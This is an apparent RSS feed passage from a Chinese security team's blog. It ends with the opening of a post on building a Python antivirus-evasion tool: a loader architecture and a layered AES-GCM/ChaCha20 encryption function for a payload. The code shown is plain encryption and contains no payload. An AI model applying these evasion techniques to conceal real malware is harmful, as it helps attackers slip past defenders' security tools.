data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3cf1d031&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522091%26idx%3D1%26sn%3D9c38b02b19e5f211a6d6c9fd10f009cc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2026 17:03:00 +0800</pubDate>
    </item>
    <item>
      <title>python免杀工具学习记录</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522039&amp;idx=1&amp;sn=c350284908280300312997428c9ca991</link>
      <description>最近学习了一下免杀相关的知识，参考了互联网几个公开项目的思路,尝试自己开发了一个小工具，本文主要用来记录一下主要思路。</description>
      <content:encoded><![CDATA[<p>原创 <span>Komorebi</span> <span>2026-04-23 17:01</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8835b4a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUTlUj5aVCPdNezBX5qOY6WMAA0DBDDdPV8vG4HK9aUsJbpicxHWKnvicqrCZF3NmASicryKAB7EDz1968S0KlxbBw6u75Ng9BibGY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>最近学习了一下免杀相关的知识，参考了互联网几个公开项目的思路,尝试自己开发了一个小工具，本文主要用来记录一下主要思路。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="border-bottom-color: rgb(161, 209, 237);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x01 前言</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最近学习了一下免杀相关的知识，参考了互联网几个公开项目的思路,尝试自己开发了一个小工具，本文主要用来记录一下主要思路。</span></p><h1 data-tool="mdnice编辑器" style="border-bottom-color: rgb(161, 209, 237);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x02 思路</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据大部分公开工具的思路来看，发现可以采用多层防护的架构设计以获得比较突出的免杀效果，主要包含以下几个核心组件：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">密钥生成器</span><span leaf=""><br/></span><span leaf="">主加载器</span><span leaf=""><br/></span><span leaf="">加密payload</span><span leaf=""><br/></span><span leaf="">配置管理 </span></code></pre><h1 data-tool="mdnice编辑器" style="border-bottom-color: rgb(161, 209, 237);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x03 实现核心功能</span></span></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: 30px 30px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(43, 43, 43);line-height: 2.4em;letter-spacing: 0em;margin-top: 0px;margin-bottom: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;font-style: normal;flex-direction: unset;float: unset;height: 38px;justify-content: unset;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">密钥生成</span></span></h2><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><span leaf="">AES-GCM + ChaCha20 组合加密</span></p></li></ul><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">from cryptography.hazmat.primitives.ciphers.aead import AESGCM, ChaCha20Poly1305</span><span leaf=""><br/></span><span leaf="">import os</span><span leaf=""><br/></span><span leaf="">def hybrid_encrypt(data: bytes) -&gt; tuple:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># AES-GCM加密</span></span><span leaf=""><br/></span><span leaf="">    aes_key = os.urandom(32)</span><span leaf=""><br/></span><span leaf="">    aes_nonce = os.urandom(12)</span><span leaf=""><br/></span><span leaf="">    aes_cipher = AESGCM(aes_key)</span><span leaf=""><br/></span><span leaf="">    aes_encrypted = aes_cipher.encrypt(aes_nonce, data, None)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># ChaCha20二次加密</span></span><span leaf=""><br/></span><span leaf="">    chacha_key = os.urandom(32)</span><span leaf=""><br/></span><span leaf="">    chacha_nonce = os.urandom(12)</span><span leaf=""><br/></span><span leaf="">    chacha_cipher = ChaCha20Poly1305(chacha_key)</span><span leaf=""><br/></span><span leaf="">    final_encrypted = chacha_cipher.encrypt(chacha_nonce, aes_encrypted, None)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> final_encrypted, aes_key, aes_nonce, chacha_key, chacha_nonce</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里使用两种不同算法组合，增加破解难度;AES-GCM提供认证加密，ChaCha20提供速度。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><span leaf="">随机分割符密钥</span></p></li></ul><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: 